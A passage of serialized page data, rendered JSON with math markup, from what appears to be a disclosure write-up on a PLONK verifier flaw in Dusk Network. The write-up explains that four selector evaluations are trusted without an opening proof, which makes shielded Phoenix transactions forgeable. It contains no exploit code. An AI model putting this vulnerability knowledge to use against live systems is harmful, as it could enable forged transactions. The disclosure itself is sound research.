",{"type":25,"tag":162,"props":149027,"children":149030},{"href":149028,"rel":149029},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[166],[149031],{"type":31,"value":149032},"linearization multi-scalar multiplication",{"type":31,"value":149034},", ensuring their values are cryptographically bound by construction.",{"type":25,"tag":38,"props":149036,"children":149037},{},[149038,149040,149065],{"type":31,"value":149039},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":25,"tag":82,"props":149041,"children":149043},{"className":149042},[212,4696],[149044],{"type":25,"tag":216,"props":149045,"children":149047},{"className":149046},[224],[149048],{"type":25,"tag":216,"props":149049,"children":149051},{"className":149050,"ariaHidden":230},[229],[149052],{"type":25,"tag":216,"props":149053,"children":149055},{"className":149054},[235],[149056,149060],{"type":25,"tag":216,"props":149057,"children":149059},{"className":149058,"style":6309},[240],[],{"type":25,"tag":216,"props":149061,"children":149063},{"className":149062,"style":117538},[246,2145],[149064],{"type":31,"value":117541},{"type":31,"value":149066}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":25,"tag":38,"props":149068,"children":149069},{},[149070],{"type":31,"value":149071},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":25,"tag":149073,"props":149074,"children":149075},"dusk-verifier-dependence-graph",{},[],{"type":25,"tag":22747,"props":149077,"children":149078},{},[],{"type":25,"tag":26,"props":149080,"children":149082},{"id":149081},"how-dusk-uses-plonk",[149083],{"type":31,"value":149084},"How Dusk uses PLONK",{"type":25,"tag":38,"props":149086,"children":149087},{},[149088,149094],{"type":25,"tag":162,"props":149089,"children":149091},{"href":145836,"rel":149090},[166],[149092],{"type":31,"value":149093},"Dusk Network",{"type":31,"value":149095}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":25,"tag":2033,"props":149097,"children":149098},{},[149099,149104],{"type":25,"tag":2037,"props":149100,"children":149101},{},[149102],{"type":31,"value":149103},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":25,"tag":2037,"props":149105,"children":149106},{},[149107],{"type":31,"value":149108},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":25,"tag":38,"props":149110,"children":149111},{},[149112,149114,149125,149127,149138],{"type":31,"value":149113},"At node level, every ",{"type":25,"tag":162,"props":149115,"children":149118},{"href":149116,"rel":149117},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[166],[149119],{"type":25,"tag":82,"props":149120,"children":149122},{"className":149121},[],[149123],{"type":31,"value":149124},"ProtocolTransaction::Phoenix",{"type":31,"value":149126}," goes through ",{"type":25,"tag":162,"props":149128,"children":149131},{"href":149129,"rel":149130},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[166],[149132],{"type":25,"tag":82,"props":149133,"children":149135},{"className":149134},[],[149136],{"type":31,"value":149137},"verify_proof_with_version()",{"type":31,"value":149139}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":25,"tag":38,"props":149141,"children":149142},{},[149143,149145,149156,149158,149169,149170,149181,149182,149193,149194,149205],{"type":31,"value":149144},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":25,"tag":162,"props":149146,"children":149149},{"href":149147,"rel":149148},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[166],[149150],{"type":25,"tag":82,"props":149151,"children":149153},{"className":149152},[],[149154],{"type":31,"value":149155},"phoenix()",{"type":31,"value":149157},", for example in ",{"type":25,"tag":162,"props":149159,"children":149162},{"href":149160,"rel":149161},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[166],[149163],{"type":25,"tag":82,"props":149164,"children":149166},{"className":149165},[],[149167],{"type":31,"value":149168},"phoenix_stake()",{"type":31,"value":7020},{"type":25,"tag":162,"props":149171,"children":149174},{"href":149172,"rel":149173},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[166],[149175],{"type":25,"tag":82,"props":149176,"children":149178},{"className":149177},[],[149179],{"type":31,"value":149180},"phoenix_stake_reward()",{"type":31,"value":7020},{"type":25,"tag":162,"props":149183,"children":149186},{"href":149184,"rel":149185},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[166],[149187],{"type":25,"tag":82,"props":149188,"children":149190},{"className":149189},[],[149191],{"type":31,"value":149192},"phoenix_unstake()",{"type":31,"value":10433},{"type":25,"tag":162,"props":149195,"children":149198},{"href":149196,"rel":149197},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[166],[149199],{"type":25,"tag":82,"props":149200,"children":149202},{"className":149201},[],[149203],{"type":31,"value":149204},"phoenix_to_moonlight()",{"type":31,"value":149206},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":25,"tag":38,"props":149208,"children":149209},{},[149210],{"type":25,"tag":6461,"props":149211,"children":149214},{"alt":149212,"src":149213},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":25,"tag":38,"props":149216,"children":149217},{},[149218,149220,149226,149228,149235],{"type":31,"value":149219},"The PLONK implementation, ",{"type":25,"tag":162,"props":149221,"children":149224},{"href":149222,"rel":149223},"https://github.com/dusk-network/plonk",[166],[149225],{"type":31,"value":145831},{"type":31,"value":149227},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":25,"tag":162,"props":149229,"children":149232},{"href":149230,"rel":149231},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[166],[149233],{"type":31,"value":149234},"the original paper",{"type":31,"value":149236}," was released.",{"type":25,"tag":38,"props":149238,"children":149239},{},[149240,149242,149248],{"type":31,"value":149241},"The Phoenix transaction PLONK circuit is defined ",{"type":25,"tag":162,"props":149243,"children":149246},{"href":149244,"rel":149245},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[166],[149247],{"type":31,"value":51547},{"type":31,"value":149249},". The circuit enforces the following set of constraints:",{"type":25,"tag":59707,"props":149251,"children":149252},{},[149253,149269],{"type":25,"tag":126924,"props":149254,"children":149255},{},[149256],{"type":25,"tag":126928,"props":149257,"children":149258},{},[149259,149264],{"type":25,"tag":126932,"props":149260,"children":149261},{},[149262],{"type":31,"value":149263},"Circuit check",{"type":25,"tag":126932,"props":149265,"children":149266},{},[149267],{"type":31,"value":149268},"Statement being checked",{"type":25,"tag":126952,"props":149270,"children":149271},{},[149272,149290,149308,149326,149344,149501,149641,149659],{"type":25,"tag":126928,"props":149273,"children":149274},{},[149275,149285],{"type":25,"tag":126959,"props":149276,"children":149277},{},[149278],{"type":25,"tag":162,"props":149279,"children":149282},{"href":149280,"rel":149281},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[166],[149283],{"type":31,"value":149284},"Merkle tree membership",{"type":25,"tag":126959,"props":149286,"children":149287},{},[149288],{"type":31,"value":149289},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":25,"tag":126928,"props":149291,"children":149292},{},[149293,149303],{"type":25,"tag":126959,"props":149294,"children":149295},{},[149296],{"type":25,"tag":162,"props":149297,"children":149300},{"href":149298,"rel":149299},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[166],[149301],{"type":31,"value":149302},"Input-note secret-key authorization",{"type":25,"tag":126959,"props":149304,"children":149305},{},[149306],{"type":31,"value":149307},"The prover knows the secret key controlling each input note",{"type":25,"tag":126928,"props":149309,"children":149310},{},[149311,149321],{"type":25,"tag":126959,"props":149312,"children":149313},{},[149314],{"type":25,"tag":162,"props":149315,"children":149318},{"href":149316,"rel":149317},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[166],[149319],{"type":31,"value":149320},"Nullifier correctness",{"type":25,"tag":126959,"props":149322,"children":149323},{},[149324],{"type":31,"value":149325},"Each nullifier matches the corresponding note key and position",{"type":25,"tag":126928,"props":149327,"children":149328},{},[149329,149339],{"type":25,"tag":126959,"props":149330,"children":149331},{},[149332],{"type":25,"tag":162,"props":149333,"children":149336},{"href":149334,"rel":149335},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[166],[149337],{"type":31,"value":149338},"Output value commitment correctness",{"type":25,"tag":126959,"props":149340,"children":149341},{},[149342],{"type":31,"value":149343},"Each public output commitment matches the secret output value and blinder",{"type":25,"tag":126928,"props":149345,"children":149346},{},[149347,149357],{"type":25,"tag":126959,"props":149348,"children":149349},{},[149350],{"type":25,"tag":162,"props":149351,"children":149354},{"href":149352,"rel":149353},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[166],[149355],{"type":31,"value":149356},"Balance integrity",{"type":25,"tag":126959,"props":149358,"children":149359},{},[149360],{"type":25,"tag":82,"props":149361,"children":149363},{"className":149362},[212,4696],[149364],{"type":25,"tag":216,"props":149365,"children":149367},{"className":149366},[224],[149368],{"type":25,"tag":216,"props":149369,"children":149371},{"className":149370,"ariaHidden":230},[229],[149372,149412,149452,149484],{"type":25,"tag":216,"props":149373,"children":149375},{"className":149374},[235],[149376,149380,149385,149389,149399,149403,149408],{"type":25,"tag":216,"props":149377,"children":149379},{"className":149378,"style":5507},[240],[],{"type":25,"tag":216,"props":149381,"children":149383},{"className":149382,"style":25578},[1835,4042,25577],[149384],{"type":31,"value":4046},{"type":25,"tag":216,"props":149386,"children":149388},{"className":149387,"style":1865},[257],[],{"type":25,"tag":216,"props":149390,"children":149392},{"className":149391},[246,31],[149393],{"type":25,"tag":216,"props":149394,"children":149396},{"className":149395},[246],[149397],{"type":31,"value":149398},"inputs",{"type":25,"tag":216,"props":149400,"children":149402},{"className":149401,"style":258},[257],[],{"type":25,"tag":216,"props":149404,"children":149406},{"className":149405},[263],[149407],{"type":31,"value":266},{"type":25,"tag":216,"props":149409,"children":149411},{"className":149410,"style":258},[257],[],{"type":25,"tag":216,"props":149413,"children":149415},{"className":149414},[235],[149416,149420,149425,149429,149439,149443,149448],{"type":25,"tag":216,"props":149417,"children":149419},{"className":149418,"style":5507},[240],[],{"type":25,"tag":216,"props":149421,"children":149423},{"className":149422,"style":25578},[1835,4042,25577],[149424],{"type":31,"value":4046},{"type":25,"tag":216,"props":149426,"children":149428},{"className":149427,"style":1865},[257],[],{"type":25,"tag":216,"props":149430,"children":149432},{"className":149431},[246,31],[149433],{"type":25,"tag":216,"props":149434,"children":149436},{"className":149435},[246],[149437],{"type":31,"value":149438},"outputs",{"type":25,"tag":216,"props":149440,"children":149442},{"className":149441,"style":335},[257],[],{"type":25,"tag":216,"props":149444,"children":149446},{"className":149445},[340],[149447],{"type":31,"value":3533},{"type":25,"tag":216,"props":149449,"children":149451},{"className":149450,"style":335},[257],[],{"type":25,"tag":216,"props":149453,"children":149455},{"className":149454},[235],[149456,149461,149471,149475,149480],{"type":25,"tag":216,"props":149457,"children":149460},{"className":149458,"style":149459},[240],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":149462,"children":149464},{"className":149463},[246,31],[149465],{"type":25,"tag":216,"props":149466,"children":149468},{"className":149467},[246],[149469],{"type":31,"value":149470},"fee",{"type":25,"tag":216,"props":149472,"children":149474},{"className":149473,"style":335},[257],[],{"type":25,"tag":216,"props":149476,"children":149478},{"className":149477},[340],[149479],{"type":31,"value":3533},{"type":25,"tag":216,"props":149481,"children":149483},{"className":149482,"style":335},[257],[],{"type":25,"tag":216,"props":149485,"children":149487},{"className":149486},[235],[149488,149492],{"type":25,"tag":216,"props":149489,"children":149491},{"className":149490,"style":1513},[240],[],{"type":25,"tag":216,"props":149493,"children":149495},{"className":149494},[246,31],[149496],{"type":25,"tag":216,"props":149497,"children":149499},{"className":149498},[246],[149500],{"type":31,"value":65925},{"type":25,"tag":126928,"props":149502,"children":149503},{},[149504,149521],{"type":25,"tag":126959,"props":149505,"children":149506},{},[149507,149514,149515],{"type":25,"tag":162,"props":149508,"children":149511},{"href":149509,"rel":149510},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[166],[149512],{"type":31,"value":149513},"Range checks on inputs",{"type":31,"value":1301},{"type":25,"tag":162,"props":149516,"children":149519},{"href":149517,"rel":149518},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[166],[149520],{"type":31,"value":149438},{"type":25,"tag":126959,"props":149522,"children":149523},{},[149524,149526],{"type":31,"value":149525},"All note values lie in ",{"type":25,"tag":82,"props":149527,"children":149529},{"className":149528},[212,4696],[149530],{"type":25,"tag":216,"props":149531,"children":149533},{"className":149532},[224],[149534],{"type":25,"tag":216,"props":149535,"children":149537},{"className":149536,"ariaHidden":230},[229],[149538,149623],{"type":25,"tag":216,"props":149539,"children":149541},{"className":149540},[235],[149542,149546,149551,149556,149561,149565,149610,149614,149619],{"type":25,"tag":216,"props":149543,"children":149545},{"className":149544,"style":119289},[240],[],{"type":25,"tag":216,"props":149547,"children":149549},{"className":149548},[287],[149550],{"type":31,"value":7695},{"type":25,"tag":216,"props":149552,"children":149554},{"className":149553},[246],[149555],{"type":31,"value":1876},{"type":25,"tag":216,"props":149557,"children":149559},{"className":149558},[1858],[149560],{"type":31,"value":1861},{"type":25,"tag":216,"props":149562,"children":149564},{"className":149563,"style":1865},[257],[],{"type":25,"tag":216,"props":149566,"children":149568},{"className":149567},[246],[149569,149574],{"type":25,"tag":216,"props":149570,"children":149572},{"className":149571},[246],[149573],{"type":31,"value":331},{"type":25,"tag":216,"props":149575,"children":149577},{"className":149576},[2153],[149578],{"type":25,"tag":216,"props":149579,"children":149581},{"className":149580},[298],[149582],{"type":25,"tag":216,"props":149583,"children":149585},{"className":149584},[304],[149586],{"type":25,"tag":216,"props":149587,"children":149589},{"className":149588,"style":7968},[309],[149590],{"type":25,"tag":216,"props":149591,"children":149592},{"style":6098},[149593,149597],{"type":25,"tag":216,"props":149594,"children":149596},{"className":149595,"style":2175},[319],[],{"type":25,"tag":216,"props":149598,"children":149600},{"className":149599},[2180,2181,2182,2183],[149601],{"type":25,"tag":216,"props":149602,"children":149604},{"className":149603},[246,2183],[149605],{"type":25,"tag":216,"props":149606,"children":149608},{"className":149607},[246,2183],[149609],{"type":31,"value":33377},{"type":25,"tag":216,"props":149611,"children":149613},{"className":149612,"style":335},[257],[],{"type":25,"tag":216,"props":149615,"children":149617},{"className":149616},[340],[149618],{"type":31,"value":3372},{"type":25,"tag":216,"props":149620,"children":149622},{"className":149621,"style":335},[257],[],{"type":25,"tag":216,"props":149624,"children":149626},{"className":149625},[235],[149627,149631,149636],{"type":25,"tag":216,"props":149628,"children":149630},{"className":149629,"style":5507},[240],[],{"type":25,"tag":216,"props":149632,"children":149634},{"className":149633},[246],[149635],{"type":31,"value":184},{"type":25,"tag":216,"props":149637,"children":149639},{"className":149638},[427],[149640],{"type":31,"value":19362},{"type":25,"tag":126928,"props":149642,"children":149643},{},[149644,149654],{"type":25,"tag":126959,"props":149645,"children":149646},{},[149647],{"type":25,"tag":162,"props":149648,"children":149651},{"href":149649,"rel":149650},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[166],[149652],{"type":31,"value":149653},"Sender-authorship signatures",{"type":25,"tag":126959,"props":149655,"children":149656},{},[149657],{"type":31,"value":149658},"The transaction payload is signed by the sender's two signing key components",{"type":25,"tag":126928,"props":149660,"children":149661},{},[149662,149672],{"type":25,"tag":126959,"props":149663,"children":149664},{},[149665],{"type":25,"tag":162,"props":149666,"children":149669},{"href":149667,"rel":149668},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[166],[149670],{"type":31,"value":149671},"Sender encryption correctness",{"type":25,"tag":126959,"props":149673,"children":149674},{},[149675],{"type":31,"value":149676},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":25,"tag":38,"props":149678,"children":149679},{},[149680,149682,149688,149690,149699],{"type":31,"value":149681},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":25,"tag":82,"props":149683,"children":149685},{"className":149684},[],[149686],{"type":31,"value":149687},"tx.public_inputs()",{"type":31,"value":149689}," via ",{"type":25,"tag":162,"props":149691,"children":149693},{"href":149129,"rel":149692},[166],[149694],{"type":25,"tag":82,"props":149695,"children":149697},{"className":149696},[],[149698],{"type":31,"value":149137},{"type":31,"value":179},{"type":25,"tag":38,"props":149701,"children":149702},{},[149703],{"type":31,"value":149704},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":25,"tag":22747,"props":149706,"children":149707},{},[],{"type":25,"tag":26,"props":149709,"children":149710},{"id":94266},[149711],{"type":31,"value":149712},"The bug",{"type":25,"tag":38,"props":149714,"children":149715},{},[149716,149718,149725,149727,149738],{"type":31,"value":149717},"In the ",{"type":25,"tag":162,"props":149719,"children":149722},{"href":149720,"rel":149721},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[166],[149723],{"type":31,"value":149724},"PLONK verification",{"type":31,"value":149726},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":25,"tag":162,"props":149728,"children":149731},{"href":149729,"rel":149730},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[166],[149732],{"type":25,"tag":82,"props":149733,"children":149735},{"className":149734},[],[149736],{"type":31,"value":149737},"E_evals",{"type":31,"value":149739},") are:",{"type":25,"tag":2033,"props":149741,"children":149742},{},[149743,149775,149800,149825],{"type":25,"tag":2037,"props":149744,"children":149745},{},[149746,149752,149753,149759,149760,149766,149767,149773],{"type":25,"tag":82,"props":149747,"children":149749},{"className":149748},[],[149750],{"type":31,"value":149751},"a_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149754,"children":149756},{"className":149755},[],[149757],{"type":31,"value":149758},"b_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149761,"children":149763},{"className":149762},[],[149764],{"type":31,"value":149765},"c_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149768,"children":149770},{"className":149769},[],[149771],{"type":31,"value":149772},"d_eval",{"type":31,"value":149774}," (witness)",{"type":25,"tag":2037,"props":149776,"children":149777},{},[149778,149784,149785,149791,149792,149798],{"type":25,"tag":82,"props":149779,"children":149781},{"className":149780},[],[149782],{"type":31,"value":149783},"s_sigma_1_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149786,"children":149788},{"className":149787},[],[149789],{"type":31,"value":149790},"s_sigma_2_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149793,"children":149795},{"className":149794},[],[149796],{"type":31,"value":149797},"s_sigma_3_eval",{"type":31,"value":149799}," (permutation)",{"type":25,"tag":2037,"props":149801,"children":149802},{},[149803,149809,149810,149816,149817,149823],{"type":25,"tag":82,"props":149804,"children":149806},{"className":149805},[],[149807],{"type":31,"value":149808},"a_w_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149811,"children":149813},{"className":149812},[],[149814],{"type":31,"value":149815},"b_w_eval",{"type":31,"value":7020},{"type":25,"tag":82,"props":149818,"children":149820},{"className":149819},[],[149821],{"type":31,"value":149822},"d_w_eval",{"type":31,"value":149824}," (shifted witness)",{"type":25,"tag":2037,"props":149826,"children":149827},{},[149828,149834],{"type":25,"tag":82,"props":149829,"children":149831},{"className":149830},[],[149832],{"type":31,"value":149833},"z_eval",{"type":31,"value":149835}," (permutation accumulator)",{"type":25,"tag":38,"props":149837,"children":149838},{},[149839,149841,149845],{"type":31,"value":149840},"But the following selector evaluations were ",{"type":25,"tag":64,"props":149842,"children":149843},{},[149844],{"type":31,"value":22442},{"type":31,"value":149846}," included:",{"type":25,"tag":2033,"props":149848,"children":149849},{},[149850,149861,149872,149883],{"type":25,"tag":2037,"props":149851,"children":149852},{},[149853,149859],{"type":25,"tag":82,"props":149854,"children":149856},{"className":149855},[],[149857],{"type":31,"value":149858},"q_arith_eval",{"type":31,"value":149860}," (arithmetic selector)",{"type":25,"tag":2037,"props":149862,"children":149863},{},[149864,149870],{"type":25,"tag":82,"props":149865,"children":149867},{"className":149866},[],[149868],{"type":31,"value":149869},"q_c_eval",{"type":31,"value":149871}," (constant selector)",{"type":25,"tag":2037,"props":149873,"children":149874},{},[149875,149881],{"type":25,"tag":82,"props":149876,"children":149878},{"className":149877},[],[149879],{"type":31,"value":149880},"q_l_eval",{"type":31,"value":149882}," (left selector)",{"type":25,"tag":2037,"props":149884,"children":149885},{},[149886,149892],{"type":25,"tag":82,"props":149887,"children":149889},{"className":149888},[],[149890],{"type":31,"value":149891},"q_r_eval",{"type":31,"value":149893}," (right selector)",{"type":25,"tag":38,"props":149895,"children":149896},{},[149897,149899,149906,149907,149914,149915,149922,149923,149930],{"type":31,"value":149898},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":25,"tag":162,"props":149900,"children":149903},{"href":149901,"rel":149902},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[166],[149904],{"type":31,"value":149905},"proof struct",{"type":31,"value":7020},{"type":25,"tag":162,"props":149908,"children":149911},{"href":149909,"rel":149910},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[166],[149912],{"type":31,"value":149913},"transcript absorption",{"type":31,"value":7020},{"type":25,"tag":162,"props":149916,"children":149919},{"href":149917,"rel":149918},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[166],[149920],{"type":31,"value":149921},"arithmetic widget",{"type":31,"value":7020},{"type":25,"tag":162,"props":149924,"children":149927},{"href":149925,"rel":149926},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[166],[149928],{"type":31,"value":149929},"fixed-base ECC widget",{"type":31,"value":149931},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":25,"tag":38,"props":149933,"children":149934},{},[149935,149937,149941],{"type":31,"value":149936},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":25,"tag":64,"props":149938,"children":149939},{},[149940],{"type":31,"value":22442},{"type":31,"value":149942}," bugs:",{"type":25,"tag":2033,"props":149944,"children":149945},{},[149946,150086],{"type":25,"tag":2037,"props":149947,"children":149948},{},[149949,149951,149996,149998,150004,150006,150011,150012,150017,150018,150023,150025,150031,150033,150078,150080,150085],{"type":31,"value":149950},"There is no prover-supplied ",{"type":25,"tag":82,"props":149952,"children":149954},{"className":149953},[212,4696],[149955],{"type":25,"tag":216,"props":149956,"children":149958},{"className":149957},[224],[149959],{"type":25,"tag":216,"props":149960,"children":149962},{"className":149961,"ariaHidden":230},[229],[149963],{"type":25,"tag":216,"props":149964,"children":149966},{"className":149965},[235],[149967,149971,149976,149981,149986,149991],{"type":25,"tag":216,"props":149968,"children":149970},{"className":149969,"style":5507},[240],[],{"type":25,"tag":216,"props":149972,"children":149974},{"className":149973},[246,2145],[149975],{"type":31,"value":2248},{"type":25,"tag":216,"props":149977,"children":149979},{"className":149978},[287],[149980],{"type":31,"value":1844},{"type":25,"tag":216,"props":149982,"children":149984},{"className":149983,"style":117538},[246,2145],[149985],{"type":31,"value":117541},{"type":25,"tag":216,"props":149987,"children":149989},{"className":149988,"style":2319},[246,2145],[149990],{"type":31,"value":148660},{"type":25,"tag":216,"props":149992,"children":149994},{"className":149993},[427],[149995],{"type":31,"value":1882},{"type":31,"value":149997}," field at all. ",{"type":25,"tag":82,"props":149999,"children":150001},{"className":150000},[],[150002],{"type":31,"value":150003},"ProofEvaluations",{"type":31,"value":150005}," contains ",{"type":25,"tag":82,"props":150007,"children":150009},{"className":150008},[],[150010],{"type":31,"value":149808},{"type":31,"value":7020},{"type":25,"tag":82,"props":150013,"children":150015},{"className":150014},[],[150016],{"type":31,"value":149815},{"type":31,"value":10433},{"type":25,"tag":82,"props":150019,"children":150021},{"className":150020},[],[150022],{"type":31,"value":149822},{"type":31,"value":150024},", but no ",{"type":25,"tag":82,"props":150026,"children":150028},{"className":150027},[],[150029],{"type":31,"value":150030},"c_w_eval",{"type":31,"value":150032},", so the verifier never consumes an unbound ",{"type":25,"tag":82,"props":150034,"children":150036},{"className":150035},[212,4696],[150037],{"type":25,"tag":216,"props":150038,"children":150040},{"className":150039},[224],[150041],{"type":25,"tag":216,"props":150042,"children":150044},{"className":150043,"ariaHidden":230},[229],[150045],{"type":25,"tag":216,"props":150046,"children":150048},{"className":150047},[235],[150049,150053,150058,150063,150068,150073],{"type":25,"tag":216,"props":150050,"children":150052},{"className":150051,"style":5507},[240],[],{"type":25,"tag":216,"props":150054,"children":150056},{"className":150055},[246,2145],[150057],{"type":31,"value":2248},{"type":25,"tag":216,"props":150059,"children":150061},{"className":150060},[287],[150062],{"type":31,"value":1844},{"type":25,"tag":216,"props":150064,"children":150066},{"className":150065,"style":117538},[246,2145],[150067],{"type":31,"value":117541},{"type":25,"tag":216,"props":150069,"children":150071},{"className":150070,"style":2319},[246,2145],[150072],{"type":31,"value":148660},{"type":25,"tag":216,"props":150074,"children":150076},{"className":150075},[427],[150077],{"type":31,"value":1882},{"type":31,"value":150079}," claim (",{"type":25,"tag":162,"props":150081,"children":150083},{"href":149901,"rel":150082},[166],[150084],{"type":31,"value":149905},{"type":31,"value":24696},{"type":25,"tag":2037,"props":150087,"children":150088},{},[150089,150091,150178,150180,150272,150273,150280],{"type":31,"value":150090},"There is a fourth permutation commitment ",{"type":25,"tag":82,"props":150092,"children":150094},{"className":150093},[212,4696],[150095],{"type":25,"tag":216,"props":150096,"children":150098},{"className":150097},[224],[150099],{"type":25,"tag":216,"props":150100,"children":150102},{"className":150101,"ariaHidden":230},[229],[150103],{"type":25,"tag":216,"props":150104,"children":150106},{"className":150105},[235],[150107,150111,150116,150173],{"type":25,"tag":216,"props":150108,"children":150110},{"className":150109,"style":5507},[240],[],{"type":25,"tag":216,"props":150112,"children":150114},{"className":150113},[287],[150115],{"type":31,"value":7695},{"type":25,"tag":216,"props":150117,"children":150119},{"className":150118},[246],[150120,150125],{"type":25,"tag":216,"props":150121,"children":150123},{"className":150122,"style":2319},[246,2145],[150124],{"type":31,"value":148555},{"type":25,"tag":216,"props":150126,"children":150128},{"className":150127},[2153],[150129],{"type":25,"tag":216,"props":150130,"children":150132},{"className":150131},[298,299],[150133,150162],{"type":25,"tag":216,"props":150134,"children":150136},{"className":150135},[304],[150137,150157],{"type":25,"tag":216,"props":150138,"children":150140},{"className":150139,"style":97063},[309],[150141],{"type":25,"tag":216,"props":150142,"children":150143},{"style":2341},[150144,150148],{"type":25,"tag":216,"props":150145,"children":150147},{"className":150146,"style":2175},[319],[],{"type":25,"tag":216,"props":150149,"children":150151},{"className":150150},[2180,2181,2182,2183],[150152],{"type":25,"tag":216,"props":150153,"children":150155},{"className":150154},[246,2183],[150156],{"type":31,"value":21480},{"type":25,"tag":216,"props":150158,"children":150160},{"className":150159},[408],[150161],{"type":31,"value":411},{"type":25,"tag":216,"props":150163,"children":150165},{"className":150164},[304],[150166],{"type":25,"tag":216,"props":150167,"children":150169},{"className":150168,"style":2203},[309],[150170],{"type":25,"tag":216,"props":150171,"children":150172},{},[],{"type":25,"tag":216,"props":150174,"children":150176},{"className":150175},[427],[150177],{"type":31,"value":19362},{"type":31,"value":150179}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar 